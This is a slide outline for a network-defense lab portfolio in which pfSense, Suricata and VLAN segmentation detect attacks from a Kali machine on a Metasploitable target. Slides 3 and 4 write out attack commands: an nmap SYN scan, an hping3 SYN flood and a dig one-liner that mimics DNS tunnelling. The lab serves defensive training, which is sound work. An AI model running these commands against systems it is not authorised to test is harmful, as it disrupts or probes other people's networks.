**Slide 1 – Project Overview**

**Title:** Network Ninja’s Firewall Defense Hack Bootcamp

**Bullet Points:**

* **Tools:** pfSense, Suricata, Kali Linux, Metasploitable
* **Skills Demonstrated:** Firewall rules, IDS/IPS signature writing, VLAN isolation, packet analysis, reporting

**Insight:** Demonstrates practical, hands-on network defense skills.

**Visual Placeholder:** network\_topology.png – diagram showing Kali → pfSense → Metasploitable

**Key Defenses:**

* Layered defense using firewall + IDS/IPS
* VLAN segmentation to isolate attacker from sensitive network segments

**Call to Action:** “View full lab configuration and evidence in the GitHub portfolio.”

**Slide 2 – Lab Architecture & Setup**

**Title:** Lab Architecture & Network Setup

**Machines & IPs:**

* Kali Linux: 192.168.1.100 (Attacker)
* Metasploitable: 192.168.1.102 (Victim)
* pfSense: Gateway/Firewall

**VLANs:**

* VLAN1: Attacker network
* VLAN2: Protected segments

**Insight:** Proper network segmentation prevents lateral movement and isolates attacks effectively.

**Visual Placeholder:** Detailed network topology diagram with VLANs highlighted

**Key Defenses:**

* pfSense firewall controls inbound/outbound traffic
* VLANs enforce segmentation to limit attack reach

**Call to Action:** “Explore VLAN configuration and firewall rules in the repository.”

**Slide 3 – Step 2 & 3: Port Scan & SYN Flood**

**Title:** Port Scan & SYN Flood Detection

**Step 2 – Port Scan:**

* **Command:** nmap -sS 192.168.1.102
* **Defense:** pfSense firewall rule blocks SYN scans
* **Evidence:** Screenshot pfSense/firewall\_rules.pdf, PCAP pcap/port\_scan.pcap

**Step 3 – SYN Flood / DDoS:**

* **Command:** sudo hping3 -S --flood -V -p 80 192.168.1.102
* **Defense:** Suricata threshold-based SYN flood rule
* **Evidence:** Suricata alert terminal screenshot, PCAP pcap/syn\_flood.pcap

**Visual Placeholder:** Terminal screenshot showing live Suricata alerts

**Insight:** Threshold-based alerts detect volumetric attacks in real time, preventing service outages.

**Key Defenses:**

* Firewall rules prevent unauthorized scans
* IDS/IPS thresholds detect and mitigate SYN flood attacks

**Call to Action:** “Check the live Suricata alert logs in the GitHub repository.”

**Slide 4 – Step 4: DNS Tunneling & VLAN Isolation**

**Title:** DNS Tunneling Detection + VLAN Isolation

**Attack Command:**

dig $(head -c 60 /dev/urandom | base64 | tr -d '=+/').example.com

**Defense:** Suricata DNS rules detect suspicious queries; VLAN isolation blocks lateral movement.

**Evidence:**

* Suricata fast.log showing DNS alerts
* PCAP pcap/dns\_tunnel.pcap
* VLAN screenshots from pfSense

**Visual Placeholder:** Suricata alert screenshot + VLAN diagram screenshot

**Insight:** Detecting covert data exfiltration attempts protects sensitive assets.

**Key Defenses:**

* Suricata DNS monitoring for long/high-volume queries
* VLAN segmentation stops lateral movement and isolates attacks

**Call to Action:** “Review DNS detection rules and VLAN configs in the repository.”

**Slide 5 – Demo & Portfolio Summary**

**Title:** Demo & Deliverables

**Demo Video:** ≤30 seconds showing attacks and alerts

* File: demo/demo\_video.mp4

**Repository Contents:**

* Suricata configs & rules (suricata/suricata.yaml, local.rules)
* pfSense firewall rules (firewall\_rules.pdf)
* PCAPs & eve.json (pcap/, eve.json)
* Network topology diagram (network\_topology.png)
* Demo script (demo/network\_demo.sh)

**Visual Placeholder:** Demo video thumbnail + terminal alerts screenshot

**Insight:** Portfolio demonstrates **hands-on skills** in network defense, detection, and reporting.

**Key Defenses:**

* Firewall rules block port scans
* IDS/IPS detects SYN floods and DNS tunneling
* VLAN isolation limits attacker access
* Logging provides actionable alerts for investigation

**Call to Action:**

* “Explore the full lab and replicate the defense stack using the GitHub repository.”
* “Connect with me for detailed walkthroughs or internship opportunities.”